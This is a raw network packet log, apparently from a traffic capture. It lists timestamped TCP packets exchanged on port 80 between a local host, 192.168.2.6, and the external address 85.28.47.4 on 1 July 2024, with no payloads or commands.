Jul 1, 2024 07:20:42.942573071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942598104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942612886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942612886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942627907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942629099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942647934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942651987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942662001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942668915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942684889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942708969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942769051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942785978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942800999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942806959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942817926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942825079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942835093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942842007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942852020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942862034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942876101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942893028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942953110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942991972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943042040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943058014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943072081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943084955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943089008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943098068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943104982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943115950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943121910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943130016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943137884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943146944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943155050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943161011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943176985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943191051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943314075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943356037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943424940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943442106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943458080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943463087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943475008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943480968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943491936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943499088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943510056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943515062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943526983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943531036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943546057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943547964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943563938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943564892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943578959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943582058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943594933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943598986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943610907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943629026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943802118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943818092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943833113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943845987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943850040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943866014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.943871975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.943895102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944039106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944056988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944072008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944077969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944088936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944104910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944106102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944127083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944149017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944169044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944185972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944200039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944215059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944222927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944222927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944235086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944240093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944251060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944256067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944273949 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944279909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944295883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944297075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944313049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944313049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944325924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944331884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944340944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944366932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944633007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944648981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944664955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944679022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944688082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944694042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944704056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944709063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944720030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944725990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944740057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944742918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944757938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944760084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944775105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944781065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944791079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944802999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944807053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944813967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944823980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944828033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944840908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.944842100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944859028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.944873095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945224047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945239067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945255041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945261955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945271969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945287943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945287943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945305109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945311069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945321083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945337057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945338964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945354939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945365906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945369959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.945389986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.945408106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946036100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946052074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946067095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946082115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946089983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946105957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946119070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946131945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946141005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946149111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946161985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946166039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946177006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946182966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946198940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946198940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946214914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946218967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946233034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946235895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946252108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946253061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946266890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946268082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946285009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946291924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946301937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946305037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946320057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946321964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946337938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946337938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946355104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946355104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946368933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946372986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.946387053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.946400881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035104990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035120010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035134077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035149097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035162926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035177946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035192966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035267115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035280943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035294056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035310984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035312891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035442114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035553932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035569906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035583973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035594940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035598993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035614967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035629034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035638094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035643101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035660028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035679102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035696030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035820961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035842896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035856962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035866976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035871983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035888910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.035888910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035908937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.035931110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036056995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036072969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036086082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036094904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036103010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036113024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036117077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036125898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036133051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036144972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036149025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036164999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036166906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036180019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036194086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036195040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036210060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036217928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036226988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036242008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036262989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036372900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036386967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036402941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036410093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036418915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036426067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036441088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036456108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036528111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036542892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036556959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036566019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036573887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036578894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036593914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036608934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036689043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036704063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036717892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036724091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036734104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036740065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036756992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036771059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036906004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036921978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036936045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036945105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036952019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036956072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036968946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.036969900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.036984921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037000895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037029028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037045002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037059069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037065029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037075996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037081003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037098885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037123919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037138939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037143946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037153959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037158966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037172079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037178040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037189007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037192106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037209988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037210941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037218094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037225008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037225008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037231922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037239075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037256956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037595987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037611008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037625074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037638903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037642002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037653923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037662029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037669897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037683964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037688971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037699938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037704945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037715912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037728071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037730932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037745953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037750959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037760973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037774086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037779093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.037797928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.037818909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038028002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038043022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038057089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038064957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038080931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038096905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038158894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038172960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038189888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038196087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038206100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038209915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038224936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038228035 CEST	49711	80	192.168.2.6	85.28.47.4
